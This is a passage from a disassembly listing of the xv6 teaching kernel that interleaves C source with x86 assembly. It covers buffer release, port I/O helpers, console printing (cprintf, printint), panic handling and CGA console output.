b->flags |= B_DIRTY;
801001fb: 8b 45 08 mov 0x8(%ebp),%eax
801001fe: 8b 00 mov (%eax),%eax
80100200: 89 c2 mov %eax,%edx
80100202: 83 ca 04 or $0x4,%edx
80100205: 8b 45 08 mov 0x8(%ebp),%eax
80100208: 89 10 mov %edx,(%eax)
iderw(b);
8010020a: 8b 45 08 mov 0x8(%ebp),%eax
8010020d: 89 04 24 mov %eax,(%esp)
80100210: e8 ab 25 00 00 call 801027c0 <iderw>
}
80100215: c9 leave
80100216: c3 ret
80100217 <brelse>:
// Release a B_BUSY buffer.
// Move to the head of the MRU list.
void
brelse(struct buf *b)
{
80100217: 55 push %ebp
80100218: 89 e5 mov %esp,%ebp
8010021a: 83 ec 18 sub $0x18,%esp
if((b->flags & B_BUSY) == 0)
8010021d: 8b 45 08 mov 0x8(%ebp),%eax
80100220: 8b 00 mov (%eax),%eax
80100222: 83 e0 01 and $0x1,%eax
80100225: 85 c0 test %eax,%eax
80100227: 75 0c jne 80100235 <brelse+0x1e>
panic("brelse");
80100229: c7 04 24 5b 8a 10 80 movl $0x80108a5b,(%esp)
80100230: e8 08 03 00 00 call 8010053d <panic>
acquire(&bcache.lock);
80100235: c7 04 24 80 d6 10 80 movl $0x8010d680,(%esp)
8010023c: e8 ce 50 00 00 call 8010530f <acquire>
b->next->prev = b->prev;
80100241: 8b 45 08 mov 0x8(%ebp),%eax
80100244: 8b 40 10 mov 0x10(%eax),%eax
80100247: 8b 55 08 mov 0x8(%ebp),%edx
8010024a: 8b 52 0c mov 0xc(%edx),%edx
8010024d: 89 50 0c mov %edx,0xc(%eax)
b->prev->next = b->next;
80100250: 8b 45 08 mov 0x8(%ebp),%eax
80100253: 8b 40 0c mov 0xc(%eax),%eax
80100256: 8b 55 08 mov 0x8(%ebp),%edx
80100259: 8b 52 10 mov 0x10(%edx),%edx
8010025c: 89 50 10 mov %edx,0x10(%eax)
b->next = bcache.head.next;
8010025f: 8b 15 94 15 11 80 mov 0x80111594,%edx
80100265: 8b 45 08 mov 0x8(%ebp),%eax
80100268: 89 50 10 mov %edx,0x10(%eax)
b->prev = &bcache.head;
8010026b: 8b 45 08 mov 0x8(%ebp),%eax
8010026e: c7 40 0c 84 15 11 80 movl $0x80111584,0xc(%eax)
bcache.head.next->prev = b;
80100275: a1 94 15 11 80 mov 0x80111594,%eax
8010027a: 8b 55 08 mov 0x8(%ebp),%edx
8010027d: 89 50 0c mov %edx,0xc(%eax)
bcache.head.next = b;
80100280: 8b 45 08 mov 0x8(%ebp),%eax
80100283: a3 94 15 11 80 mov %eax,0x80111594
b->flags &= ~B_BUSY;
80100288: 8b 45 08 mov 0x8(%ebp),%eax
8010028b: 8b 00 mov (%eax),%eax
8010028d: 89 c2 mov %eax,%edx
8010028f: 83 e2 fe and $0xfffffffe,%edx
80100292: 8b 45 08 mov 0x8(%ebp),%eax
80100295: 89 10 mov %edx,(%eax)
wakeup(b);
80100297: 8b 45 08 mov 0x8(%ebp),%eax
8010029a: 89 04 24 mov %eax,(%esp)
8010029d: e8 61 4e 00 00 call 80105103 <wakeup>
release(&bcache.lock);
801002a2: c7 04 24 80 d6 10 80 movl $0x8010d680,(%esp)
801002a9: e8 c3 50 00 00 call 80105371 <release>
}
801002ae: c9 leave
801002af: c3 ret
801002b0 <inb>:
// Routines to let C code use special x86 instructions.
static inline uchar
inb(ushort port)
{
801002b0: 55 push %ebp
801002b1: 89 e5 mov %esp,%ebp
801002b3: 53 push %ebx
801002b4: 83 ec 14 sub $0x14,%esp
801002b7: 8b 45 08 mov 0x8(%ebp),%eax
801002ba: 66 89 45 e8 mov %ax,-0x18(%ebp)
uchar data;
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
801002be: 0f b7 55 e8 movzwl -0x18(%ebp),%edx
801002c2: 66 89 55 ea mov %dx,-0x16(%ebp)
801002c6: 0f b7 55 ea movzwl -0x16(%ebp),%edx
801002ca: ec in (%dx),%al
801002cb: 89 c3 mov %eax,%ebx
801002cd: 88 5d fb mov %bl,-0x5(%ebp)
return data;
801002d0: 0f b6 45 fb movzbl -0x5(%ebp),%eax
}
801002d4: 83 c4 14 add $0x14,%esp
801002d7: 5b pop %ebx
801002d8: 5d pop %ebp
801002d9: c3 ret
801002da <outb>:
"memory", "cc");
}
static inline void
outb(ushort port, uchar data)
{
801002da: 55 push %ebp
801002db: 89 e5 mov %esp,%ebp
801002dd: 83 ec 08 sub $0x8,%esp
801002e0: 8b 55 08 mov 0x8(%ebp),%edx
801002e3: 8b 45 0c mov 0xc(%ebp),%eax
801002e6: 66 89 55 fc mov %dx,-0x4(%ebp)
801002ea: 88 45 f8 mov %al,-0x8(%ebp)
asm volatile("out %0,%1" : : "a" (data), "d" (port));
801002ed: 0f b6 45 f8 movzbl -0x8(%ebp),%eax
801002f1: 0f b7 55 fc movzwl -0x4(%ebp),%edx
801002f5: ee out %al,(%dx)
}
801002f6: c9 leave
801002f7: c3 ret
801002f8 <cli>:
asm volatile("movw %0, %%gs" : : "r" (v));
}
static inline void
cli(void)
{
801002f8: 55 push %ebp
801002f9: 89 e5 mov %esp,%ebp
asm volatile("cli");
801002fb: fa cli
}
801002fc: 5d pop %ebp
801002fd: c3 ret
801002fe <printint>:
int locking;
} cons;
static void
printint(int xx, int base, int sign)
{
801002fe: 55 push %ebp
801002ff: 89 e5 mov %esp,%ebp
80100301: 83 ec 48 sub $0x48,%esp
static char digits[] = "0123456789abcdef";
char buf[16];
int i;
uint x;
if(sign && (sign = xx < 0))
80100304: 83 7d 10 00 cmpl $0x0,0x10(%ebp)
80100308: 74 19 je 80100323 <printint+0x25>
8010030a: 8b 45 08 mov 0x8(%ebp),%eax
8010030d: c1 e8 1f shr $0x1f,%eax
80100310: 89 45 10 mov %eax,0x10(%ebp)
80100313: 83 7d 10 00 cmpl $0x0,0x10(%ebp)
80100317: 74 0a je 80100323 <printint+0x25>
x = -xx;
80100319: 8b 45 08 mov 0x8(%ebp),%eax
8010031c: f7 d8 neg %eax
8010031e: 89 45 f0 mov %eax,-0x10(%ebp)
80100321: eb 06 jmp 80100329 <printint+0x2b>
else
x = xx;
80100323: 8b 45 08 mov 0x8(%ebp),%eax
80100326: 89 45 f0 mov %eax,-0x10(%ebp)
i = 0;
80100329: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
do{
buf[i++] = digits[x % base];
80100330: 8b 4d 0c mov 0xc(%ebp),%ecx
80100333: 8b 45 f0 mov -0x10(%ebp),%eax
80100336: ba 00 00 00 00 mov $0x0,%edx
8010033b: f7 f1 div %ecx
8010033d: 89 d0 mov %edx,%eax
8010033f: 0f b6 90 04 a0 10 80 movzbl -0x7fef5ffc(%eax),%edx
80100346: 8d 45 e0 lea -0x20(%ebp),%eax
80100349: 03 45 f4 add -0xc(%ebp),%eax
8010034c: 88 10 mov %dl,(%eax)
8010034e: 83 45 f4 01 addl $0x1,-0xc(%ebp)
}while((x /= base) != 0);
80100352: 8b 55 0c mov 0xc(%ebp),%edx
80100355: 89 55 d4 mov %edx,-0x2c(%ebp)
80100358: 8b 45 f0 mov -0x10(%ebp),%eax
8010035b: ba 00 00 00 00 mov $0x0,%edx
80100360: f7 75 d4 divl -0x2c(%ebp)
80100363: 89 45 f0 mov %eax,-0x10(%ebp)
80100366: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
8010036a: 75 c4 jne 80100330 <printint+0x32>
if(sign)
8010036c: 83 7d 10 00 cmpl $0x0,0x10(%ebp)
80100370: 74 23 je 80100395 <printint+0x97>
buf[i++] = '-';
80100372: 8d 45 e0 lea -0x20(%ebp),%eax
80100375: 03 45 f4 add -0xc(%ebp),%eax
80100378: c6 00 2d movb $0x2d,(%eax)
8010037b: 83 45 f4 01 addl $0x1,-0xc(%ebp)
while(--i >= 0)
8010037f: eb 14 jmp 80100395 <printint+0x97>
consputc(buf[i]);
80100381: 8d 45 e0 lea -0x20(%ebp),%eax
80100384: 03 45 f4 add -0xc(%ebp),%eax
80100387: 0f b6 00 movzbl (%eax),%eax
8010038a: 0f be c0 movsbl %al,%eax
8010038d: 89 04 24 mov %eax,(%esp)
80100390: e8 bb 03 00 00 call 80100750 <consputc>
}while((x /= base) != 0);
if(sign)
buf[i++] = '-';
while(--i >= 0)
80100395: 83 6d f4 01 subl $0x1,-0xc(%ebp)
80100399: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
8010039d: 79 e2 jns 80100381 <printint+0x83>
consputc(buf[i]);
}
8010039f: c9 leave
801003a0: c3 ret
801003a1 <cprintf>:
//PAGEBREAK: 50
// Print to the console. only understands %d, %x, %p, %s.
void
cprintf(char *fmt, ...)
{
801003a1: 55 push %ebp
801003a2: 89 e5 mov %esp,%ebp
801003a4: 83 ec 38 sub $0x38,%esp
int i, c, locking;
uint *argp;
char *s;
locking = cons.locking;
801003a7: a1 14 c6 10 80 mov 0x8010c614,%eax
801003ac: 89 45 e8 mov %eax,-0x18(%ebp)
if(locking)
801003af: 83 7d e8 00 cmpl $0x0,-0x18(%ebp)
801003b3: 74 0c je 801003c1 <cprintf+0x20>
acquire(&cons.lock);
801003b5: c7 04 24 e0 c5 10 80 movl $0x8010c5e0,(%esp)
801003bc: e8 4e 4f 00 00 call 8010530f <acquire>
if (fmt == 0)
801003c1: 8b 45 08 mov 0x8(%ebp),%eax
801003c4: 85 c0 test %eax,%eax
801003c6: 75 0c jne 801003d4 <cprintf+0x33>
panic("null fmt");
801003c8: c7 04 24 62 8a 10 80 movl $0x80108a62,(%esp)
801003cf: e8 69 01 00 00 call 8010053d <panic>
argp = (uint*)(void*)(&fmt + 1);
801003d4: 8d 45 0c lea 0xc(%ebp),%eax
801003d7: 89 45 f0 mov %eax,-0x10(%ebp)
for(i = 0; (c = fmt[i] & 0xff) != 0; i++){
801003da: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
801003e1: e9 20 01 00 00 jmp 80100506 <cprintf+0x165>
if(c != '%'){
801003e6: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp)
801003ea: 74 10 je 801003fc <cprintf+0x5b>
consputc(c);
801003ec: 8b 45 e4 mov -0x1c(%ebp),%eax
801003ef: 89 04 24 mov %eax,(%esp)
801003f2: e8 59 03 00 00 call 80100750 <consputc>
continue;
801003f7: e9 06 01 00 00 jmp 80100502 <cprintf+0x161>
}
c = fmt[++i] & 0xff;
801003fc: 8b 55 08 mov 0x8(%ebp),%edx
801003ff: 83 45 f4 01 addl $0x1,-0xc(%ebp)
80100403: 8b 45 f4 mov -0xc(%ebp),%eax
80100406: 01 d0 add %edx,%eax
80100408: 0f b6 00 movzbl (%eax),%eax
8010040b: 0f be c0 movsbl %al,%eax
8010040e: 25 ff 00 00 00 and $0xff,%eax
80100413: 89 45 e4 mov %eax,-0x1c(%ebp)
if(c == 0)
80100416: 83 7d e4 00 cmpl $0x0,-0x1c(%ebp)
8010041a: 0f 84 08 01 00 00 je 80100528 <cprintf+0x187>
break;
switch(c){
80100420: 8b 45 e4 mov -0x1c(%ebp),%eax
80100423: 83 f8 70 cmp $0x70,%eax
80100426: 74 4d je 80100475 <cprintf+0xd4>
80100428: 83 f8 70 cmp $0x70,%eax
8010042b: 7f 13 jg 80100440 <cprintf+0x9f>
8010042d: 83 f8 25 cmp $0x25,%eax
80100430: 0f 84 a6 00 00 00 je 801004dc <cprintf+0x13b>
80100436: 83 f8 64 cmp $0x64,%eax
80100439: 74 14 je 8010044f <cprintf+0xae>
8010043b: e9 aa 00 00 00 jmp 801004ea <cprintf+0x149>
80100440: 83 f8 73 cmp $0x73,%eax
80100443: 74 53 je 80100498 <cprintf+0xf7>
80100445: 83 f8 78 cmp $0x78,%eax
80100448: 74 2b je 80100475 <cprintf+0xd4>
8010044a: e9 9b 00 00 00 jmp 801004ea <cprintf+0x149>
case 'd':
printint(*argp++, 10, 1);
8010044f: 8b 45 f0 mov -0x10(%ebp),%eax
80100452: 8b 00 mov (%eax),%eax
80100454: 83 45 f0 04 addl $0x4,-0x10(%ebp)
80100458: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
8010045f: 00
80100460: c7 44 24 04 0a 00 00 movl $0xa,0x4(%esp)
80100467: 00
80100468: 89 04 24 mov %eax,(%esp)
8010046b: e8 8e fe ff ff call 801002fe <printint>
break;
80100470: e9 8d 00 00 00 jmp 80100502 <cprintf+0x161>
case 'x':
case 'p':
printint(*argp++, 16, 0);
80100475: 8b 45 f0 mov -0x10(%ebp),%eax
80100478: 8b 00 mov (%eax),%eax
8010047a: 83 45 f0 04 addl $0x4,-0x10(%ebp)
8010047e: c7 44 24 08 00 00 00 movl $0x0,0x8(%esp)
80100485: 00
80100486: c7 44 24 04 10 00 00 movl $0x10,0x4(%esp)
8010048d: 00
8010048e: 89 04 24 mov %eax,(%esp)
80100491: e8 68 fe ff ff call 801002fe <printint>
break;
80100496: eb 6a jmp 80100502 <cprintf+0x161>
case 's':
if((s = (char*)*argp++) == 0)
80100498: 8b 45 f0 mov -0x10(%ebp),%eax
8010049b: 8b 00 mov (%eax),%eax
8010049d: 89 45 ec mov %eax,-0x14(%ebp)
801004a0: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
801004a4: 0f 94 c0 sete %al
801004a7: 83 45 f0 04 addl $0x4,-0x10(%ebp)
801004ab: 84 c0 test %al,%al
801004ad: 74 20 je 801004cf <cprintf+0x12e>
s = "(null)";
801004af: c7 45 ec 6b 8a 10 80 movl $0x80108a6b,-0x14(%ebp)
for(; *s; s++)
801004b6: eb 17 jmp 801004cf <cprintf+0x12e>
consputc(*s);
801004b8: 8b 45 ec mov -0x14(%ebp),%eax
801004bb: 0f b6 00 movzbl (%eax),%eax
801004be: 0f be c0 movsbl %al,%eax
801004c1: 89 04 24 mov %eax,(%esp)
801004c4: e8 87 02 00 00 call 80100750 <consputc>
printint(*argp++, 16, 0);
break;
case 's':
if((s = (char*)*argp++) == 0)
s = "(null)";
for(; *s; s++)
801004c9: 83 45 ec 01 addl $0x1,-0x14(%ebp)
801004cd: eb 01 jmp 801004d0 <cprintf+0x12f>
801004cf: 90 nop
801004d0: 8b 45 ec mov -0x14(%ebp),%eax
801004d3: 0f b6 00 movzbl (%eax),%eax
801004d6: 84 c0 test %al,%al
801004d8: 75 de jne 801004b8 <cprintf+0x117>
consputc(*s);
break;
801004da: eb 26 jmp 80100502 <cprintf+0x161>
case '%':
consputc('%');
801004dc: c7 04 24 25 00 00 00 movl $0x25,(%esp)
801004e3: e8 68 02 00 00 call 80100750 <consputc>
break;
801004e8: eb 18 jmp 80100502 <cprintf+0x161>
default:
// Print unknown % sequence to draw attention.
consputc('%');
801004ea: c7 04 24 25 00 00 00 movl $0x25,(%esp)
801004f1: e8 5a 02 00 00 call 80100750 <consputc>
consputc(c);
801004f6: 8b 45 e4 mov -0x1c(%ebp),%eax
801004f9: 89 04 24 mov %eax,(%esp)
801004fc: e8 4f 02 00 00 call 80100750 <consputc>
break;
80100501: 90 nop
if (fmt == 0)
panic("null fmt");
argp = (uint*)(void*)(&fmt + 1);
for(i = 0; (c = fmt[i] & 0xff) != 0; i++){
80100502: 83 45 f4 01 addl $0x1,-0xc(%ebp)
80100506: 8b 55 08 mov 0x8(%ebp),%edx
80100509: 8b 45 f4 mov -0xc(%ebp),%eax
8010050c: 01 d0 add %edx,%eax
8010050e: 0f b6 00 movzbl (%eax),%eax
80100511: 0f be c0 movsbl %al,%eax
80100514: 25 ff 00 00 00 and $0xff,%eax
80100519: 89 45 e4 mov %eax,-0x1c(%ebp)
8010051c: 83 7d e4 00 cmpl $0x0,-0x1c(%ebp)
80100520: 0f 85 c0 fe ff ff jne 801003e6 <cprintf+0x45>
80100526: eb 01 jmp 80100529 <cprintf+0x188>
consputc(c);
continue;
}
c = fmt[++i] & 0xff;
if(c == 0)
break;
80100528: 90 nop
consputc(c);
break;
}
}
if(locking)
80100529: 83 7d e8 00 cmpl $0x0,-0x18(%ebp)
8010052d: 74 0c je 8010053b <cprintf+0x19a>
release(&cons.lock);
8010052f: c7 04 24 e0 c5 10 80 movl $0x8010c5e0,(%esp)
80100536: e8 36 4e 00 00 call 80105371 <release>
}
8010053b: c9 leave
8010053c: c3 ret
8010053d <panic>:
void
panic(char *s)
{
8010053d: 55 push %ebp
8010053e: 89 e5 mov %esp,%ebp
80100540: 83 ec 48 sub $0x48,%esp
int i;
uint pcs[10];
cli();
80100543: e8 b0 fd ff ff call 801002f8 <cli>
cons.locking = 0;
80100548: c7 05 14 c6 10 80 00 movl $0x0,0x8010c614
8010054f: 00 00 00
cprintf("cpu%d: panic: ", cpu->id);
80100552: 65 a1 00 00 00 00 mov %gs:0x0,%eax
80100558: 0f b6 00 movzbl (%eax),%eax
8010055b: 0f b6 c0 movzbl %al,%eax
8010055e: 89 44 24 04 mov %eax,0x4(%esp)
80100562: c7 04 24 72 8a 10 80 movl $0x80108a72,(%esp)
80100569: e8 33 fe ff ff call 801003a1 <cprintf>
cprintf(s);
8010056e: 8b 45 08 mov 0x8(%ebp),%eax
80100571: 89 04 24 mov %eax,(%esp)
80100574: e8 28 fe ff ff call 801003a1 <cprintf>
cprintf("\n");
80100579: c7 04 24 81 8a 10 80 movl $0x80108a81,(%esp)
80100580: e8 1c fe ff ff call 801003a1 <cprintf>
getcallerpcs(&s, pcs);
80100585: 8d 45 cc lea -0x34(%ebp),%eax
80100588: 89 44 24 04 mov %eax,0x4(%esp)
8010058c: 8d 45 08 lea 0x8(%ebp),%eax
8010058f: 89 04 24 mov %eax,(%esp)
80100592: e8 29 4e 00 00 call 801053c0 <getcallerpcs>
for(i=0; i<10; i++)
80100597: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
8010059e: eb 1b jmp 801005bb <panic+0x7e>
cprintf(" %p", pcs[i]);
801005a0: 8b 45 f4 mov -0xc(%ebp),%eax
801005a3: 8b 44 85 cc mov -0x34(%ebp,%eax,4),%eax
801005a7: 89 44 24 04 mov %eax,0x4(%esp)
801005ab: c7 04 24 83 8a 10 80 movl $0x80108a83,(%esp)
801005b2: e8 ea fd ff ff call 801003a1 <cprintf>
cons.locking = 0;
cprintf("cpu%d: panic: ", cpu->id);
cprintf(s);
cprintf("\n");
getcallerpcs(&s, pcs);
for(i=0; i<10; i++)
801005b7: 83 45 f4 01 addl $0x1,-0xc(%ebp)
801005bb: 83 7d f4 09 cmpl $0x9,-0xc(%ebp)
801005bf: 7e df jle 801005a0 <panic+0x63>
cprintf(" %p", pcs[i]);
panicked = 1; // freeze other CPU
801005c1: c7 05 c0 c5 10 80 01 movl $0x1,0x8010c5c0
801005c8: 00 00 00
for(;;)
;
801005cb: eb fe jmp 801005cb <panic+0x8e>
801005cd <cgaputc>:
#define CRTPORT 0x3d4
static ushort *crt = (ushort*)P2V(0xb8000); // CGA memory
static void
cgaputc(int c)
{
801005cd: 55 push %ebp
801005ce: 89 e5 mov %esp,%ebp
801005d0: 83 ec 28 sub $0x28,%esp
int pos;
// Cursor position: col + 80*row.
outb(CRTPORT, 14);
801005d3: c7 44 24 04 0e 00 00 movl $0xe,0x4(%esp)
801005da: 00
801005db: c7 04 24 d4 03 00 00 movl $0x3d4,(%esp)
801005e2: e8 f3 fc ff ff call 801002da <outb>
pos = inb(CRTPORT+1) << 8;
801005e7: c7 04 24 d5 03 00 00 movl $0x3d5,(%esp)
801005ee: e8 bd fc ff ff call 801002b0 <inb>
801005f3: 0f b6 c0 movzbl %al,%eax
801005f6: c1 e0 08 shl $0x8,%eax
801005f9: 89 45 f4 mov %eax,-0xc(%ebp)
outb(CRTPORT, 15);
801005fc: c7 44 24 04 0f 00 00 movl $0xf,0x4(%esp)
80100603: 00
80100604: c7 04 24 d4 03 00 00 movl $0x3d4,(%esp)
8010060b: e8 ca fc ff ff call 801002da <outb>
pos |= inb(CRTPORT+1);
80100610: c7 04 24 d5 03 00 00 movl $0x3d5,(%esp)
80100617: e8 94 fc ff ff call 801002b0 <inb>
8010061c: 0f b6 c0 movzbl %al,%eax
8010061f: 09 45 f4 or %eax,-0xc(%ebp)
if(c == '\n')
80100622: 83 7d 08 0a cmpl $0xa,0x8(%ebp)
80100626: 75 30 jne 80100658 <cgaputc+0x8b>
pos += 80 - pos%80;
80100628: 8b 4d f4 mov -0xc(%ebp),%ecx
8010062b: ba 67 66 66 66 mov $0x66666667,%edx
80100630: 89 c8 mov %ecx,%eax
80100632: f7 ea imul %edx
80100634: c1 fa 05 sar $0x5,%edx
80100637: 89 c8 mov %ecx,%eax
80100639: c1 f8 1f sar $0x1f,%eax
8010063c: 29 c2 sub %eax,%edx
8010063e: 89 d0 mov %edx,%eax
80100640: c1 e0 02 shl $0x2,%eax
80100643: 01 d0 add %edx,%eax
80100645: c1 e0 04 shl $0x4,%eax
80100648: 89 ca mov %ecx,%edx
8010064a: 29 c2 sub %eax,%edx
8010064c: b8 50 00 00 00 mov $0x50,%eax
80100651: 29 d0 sub %edx,%eax
80100653: 01 45 f4 add %eax,-0xc(%ebp)
80100656: eb 32 jmp 8010068a <cgaputc+0xbd>
else if(c == BACKSPACE){
80100658: 81 7d 08 00 01 00 00 cmpl $0x100,0x8(%ebp)
8010065f: 75 0c jne 8010066d <cgaputc+0xa0>
if(pos > 0) --pos;
80100661: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
80100665: 7e 23 jle 8010068a <cgaputc+0xbd>
80100667: 83 6d f4 01 subl $0x1,-0xc(%ebp)
8010066b: eb 1d jmp 8010068a <cgaputc+0xbd>
} else
crt[pos++] = (c&0xff) | 0x0700; // black on white
8010066d: a1 00 a0 10 80 mov 0x8010a000,%eax
80100672: 8b 55 f4 mov -0xc(%ebp),%edx
80100675: 01 d2 add %edx,%edx
80100677: 01 c2 add %eax,%edx
80100679: 8b 45 08 mov 0x8(%ebp),%eax
8010067c: 66 25 ff 00 and $0xff,%ax
80100680: 80 cc 07 or $0x7,%ah
80100683: 66 89 02 mov %ax,(%edx)
80100686: 83 45 f4 01 addl $0x1,-0xc(%ebp)
if((pos/80) >= 24){ // Scroll up.
8010068a: 81 7d f4 7f 07 00 00 cmpl $0x77f,-0xc(%ebp)
80100691: 7e 53 jle 801006e6 <cgaputc+0x119>
memmove(crt, crt+80, sizeof(crt[0])*23*80);
80100693: a1 00 a0 10 80 mov 0x8010a000,%eax
80100698: 8d 90 a0 00 00 00 lea 0xa0(%eax),%edx
8010069e: a1 00 a0 10 80 mov 0x8010a000,%eax
801006a3: c7 44 24 08 60 0e 00 movl $0xe60,0x8(%esp)
801006aa: 00
801006ab: 89 54 24 04 mov %edx,0x4(%esp)
801006af: 89 04 24 mov %eax,(%esp)
801006b2: e8 7a 4f 00 00 call 80105631 <memmove>
pos -= 80;
801006b7: 83 6d f4 50 subl $0x50,-0xc(%ebp)
memset(crt+pos, 0, sizeof(crt[0])*(24*80 - pos));
801006bb: b8 80 07 00 00 mov $0x780,%eax
801006c0: 2b 45 f4 sub -0xc(%ebp),%eax
801006c3: 01 c0 add %eax,%eax
801006c5: 8b 15 00 a0 10 80 mov 0x8010a000,%edx
801006cb: 8b 4d f4 mov -0xc(%ebp),%ecx
801006ce: 01 c9 add %ecx,%ecx
801006d0: 01 ca add %ecx,%edx
801006d2: 89 44 24 08 mov %eax,0x8(%esp)
801006d6: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
801006dd: 00
801006de: 89 14 24 mov %edx,(%esp)
801006e1: e8 78 4e 00 00 call 8010555e <memset>
}
outb(CRTPORT, 14);
801006e6: c7 44 24 04 0e 00 00 movl $0xe,0x4(%esp)
801006ed: 00
801006ee: c7 04 24 d4 03 00 00 movl $0x3d4,(%esp)
801006f5: e8 e0 fb ff ff call 801002da <outb>
outb(CRTPORT+1, pos>>8);
801006fa: 8b 45 f4 mov -0xc(%ebp),%eax
801006fd: c1 f8 08 sar $0x8,%eax
80100700: 0f b6 c0 movzbl %al,%eax
80100703: 89 44 24 04 mov %eax,0x4(%esp)
80100707: c7 04 24 d5 03 00 00 movl $0x3d5,(%esp)
8010070e: e8 c7 fb ff ff call 801002da <outb>
outb(CRTPORT, 15);
80100713: c7 44 24 04 0f 00 00 movl $0xf,0x4(%esp)
8010071a: 00
8010071b: c7 04 24 d4 03 00 00 movl $0x3d4,(%esp)
80100722: e8 b3 fb ff ff call 801002da <outb>
outb(CRTPORT+1, pos);
80100727: 8b 45 f4 mov -0xc(%ebp),%eax
8010072a: 0f b6 c0 movzbl %al,%eax
8010072d: 89 44 24 04 mov %eax,0x4(%esp)
80100731: c7 04 24 d5 03 00 00 movl $0x3d5,(%esp)
80100738: e8 9d fb ff ff call 801002da <outb>
crt[pos] = ' ' | 0x0700;
8010073d: a1 00 a0 10 80 mov 0x8010a000,%eax
80100742: 8b 55 f4 mov -0xc(%ebp),%edx
80100745: 01 d2 add %edx,%edx
80100747: 01 d0 add %edx,%eax
80100749: 66 c7 00 20 07 movw $0x720,(%eax)
}
8010074e: c9 leave
8010074f: c3 ret
80100750 <consputc>:
void
consputc(int c)
{
80100750: 55 push %ebp
80100751: 89 e5 mov %esp,%ebp
80100753: 83 ec 18 sub $0x18,%esp
if(panicked){
80100756: a1 c0 c5 10 80 mov 0x8010c5c0,%eax
8010075b: 85 c0 test %eax,%eax
8010075d: 74 07 je 80100766 <consputc+0x16>
cli();
8010075f: e8 94 fb ff ff call 801002f8 <cli>
for(;;)
;
80100764: eb fe jmp 80100764 <consputc+0x14>
}
if(c == BACKSPACE){
80100766: 81 7d 08 00 01 00 00 cmpl $0x100,0x8(%ebp)
8010076d: 75 26 jne 80100795 <consputc+0x45>
uartputc('\b'); uartputc(' '); uartputc('\b');
8010076f: c7 04 24 08 00 00 00 movl $0x8,(%esp)
80100776: e8 12 69 00 00 call 8010708d <uartputc>
8010077b: c7 04 24 20 00 00 00 movl $0x20,(%esp)
80100782: e8 06 69 00 00 call 8010708d <uartputc>
80100787: c7 04 24 08 00 00 00 movl $0x8,(%esp)
8010078e: e8 fa 68 00 00 call 8010708d <uartputc>
80100793: eb 0b jmp 801007a0 <consputc+0x50>
} else
uartputc(c);
80100795: 8b 45 08 mov 0x8(%ebp),%eax
80100798: 89 04 24 mov %eax,(%esp)
8010079b: e8 ed 68 00 00 call 8010708d <uartputc>
cgaputc(c);
801007a0: 8b 45 08 mov 0x8(%ebp),%eax
801007a3: 89 04 24 mov %eax,(%esp)
801007a6: e8 22 fe ff ff call 801005cd <cgaputc>
}
801007ab: c9 leave
801007ac: c3 ret
801007ad <consoleintr>:
#define C(x) ((x)-'@') // Control-x
void
consoleintr(int (*getc)(void))
{
801007ad: 55 push %ebp
801007ae: 89 e5 mov %esp,%ebp
801007b0: 83 ec 28 sub $0x28,%esp
int c;
acquire(&input.lock);
801007b3: c7 04 24 a0 17 11 80 movl $0x801117a0,(%esp)
801007ba: e8 50 4b 00 00 call 8010530f <acquire>
while((c = getc()) >= 0){
801007bf: e9 41 01 00 00 jmp 80100905 <consoleintr+0x158>
switch(c){
801007c4: 8b 45 f4 mov -0xc(%ebp),%eax
801007c7: 83 f8 10 cmp $0x10,%eax
801007ca: 74 1e je 801007ea <consoleintr+0x3d>
801007cc: 83 f8 10 cmp $0x10,%eax
801007cf: 7f 0a jg 801007db <consoleintr+0x2e>
801007d1: 83 f8 08 cmp $0x8,%eax
801007d4: 74 68 je 8010083e <consoleintr+0x91>
801007d6: e9 94 00 00 00 jmp 8010086f <consoleintr+0xc2>
801007db: 83 f8 15 cmp $0x15,%eax
801007de: 74 2f je 8010080f <consoleintr+0x62>
801007e0: 83 f8 7f cmp $0x7f,%eax
801007e3: 74 59 je 8010083e <consoleintr+0x91>
801007e5: e9 85 00 00 00 jmp 8010086f <consoleintr+0xc2>
case C('P'): // Process listing.
procdump();
801007ea: e8 ba 49 00 00 call 801051a9 <procdump>
break;
801007ef: e9 11 01 00 00 jmp 80100905 <consoleintr+0x158>
case C('U'): // Kill line.
while(input.e != input.w &&
input.buf[(input.e-1) % INPUT_BUF] != '\n'){
input.e--;
801007f4: a1 5c 18 11 80 mov 0x8011185c,%eax
801007f9: 83 e8 01 sub $0x1,%eax
801007fc: a3 5c 18 11 80 mov %eax,0x8011185c
consputc(BACKSPACE);
80100801: c7 04 24 00 01 00 00 movl $0x100,(%esp)
80100808: e8 43 ff ff ff call 80100750 <consputc>
8010080d: eb 01 jmp 80100810 <consoleintr+0x63>
switch(c){
case C('P'): // Process listing.
procdump();
break;
case C('U'): // Kill line.
while(input.e != input.w &&
8010080f: 90 nop
80100810: 8b 15 5c 18 11 80 mov 0x8011185c,%edx
80100816: a1 58 18 11 80 mov 0x80111858,%eax
8010081b: 39 c2 cmp %eax,%edx
8010081d: 0f 84 db 00 00 00 je 801008fe <consoleintr+0x151>
input.buf[(input.e-1) % INPUT_BUF] != '\n'){
80100823: a1 5c 18 11 80 mov 0x8011185c,%eax
80100828: 83 e8 01 sub $0x1,%eax
8010082b: 83 e0 7f and $0x7f,%eax
8010082e: 0f b6 80 d4 17 11 80 movzbl -0x7feee82c(%eax),%eax
switch(c){
case C('P'): // Process listing.
procdump();
break;
case C('U'): // Kill line.
while(input.e != input.w &&
80100835: 3c 0a cmp $0xa,%al
80100837: 75 bb jne 801007f4 <consoleintr+0x47>
input.buf[(input.e-1) % INPUT_BUF] != '\n'){
input.e--;
consputc(BACKSPACE);
}
break;
80100839: e9 c0 00 00 00 jmp 801008fe <consoleintr+0x151>
case C('H'): case '\x7f': // Backspace
if(input.e != input.w){
8010083e: 8b 15 5c 18 11 80 mov 0x8011185c,%edx
80100844: a1 58 18 11 80 mov 0x80111858,%eax
80100849: 39 c2 cmp %eax,%edx
8010084b: 0f 84 b0 00 00 00 je 80100901 <consoleintr+0x154>
input.e--;
